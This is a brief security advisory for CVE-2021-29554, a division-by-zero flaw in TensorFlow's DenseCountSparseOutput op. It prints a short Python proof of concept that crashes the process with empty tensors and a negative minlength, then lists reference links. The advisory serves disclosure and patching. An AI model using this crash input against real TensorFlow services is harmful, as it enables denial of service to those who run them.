CVE-2021-29554: Division by 0 in `DenseCountSparseOutput`
(updated )
An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.DenseCountSparseOutput
:
import tensorflow as tf
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
weights = tf.constant([])
tf.raw_ops.DenseCountSparseOutput(
values=values, weights=weights,
minlength=-1, maxlength=58, binary_output=True)
References
- github.com/advisories/GHSA-qg48-85hg-mqc5
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-482.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-680.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-191.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-qg48-85hg-mqc5
- nvd.nist.gov/vuln/detail/CVE-2021-29554
Detect and mitigate CVE-2021-29554 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →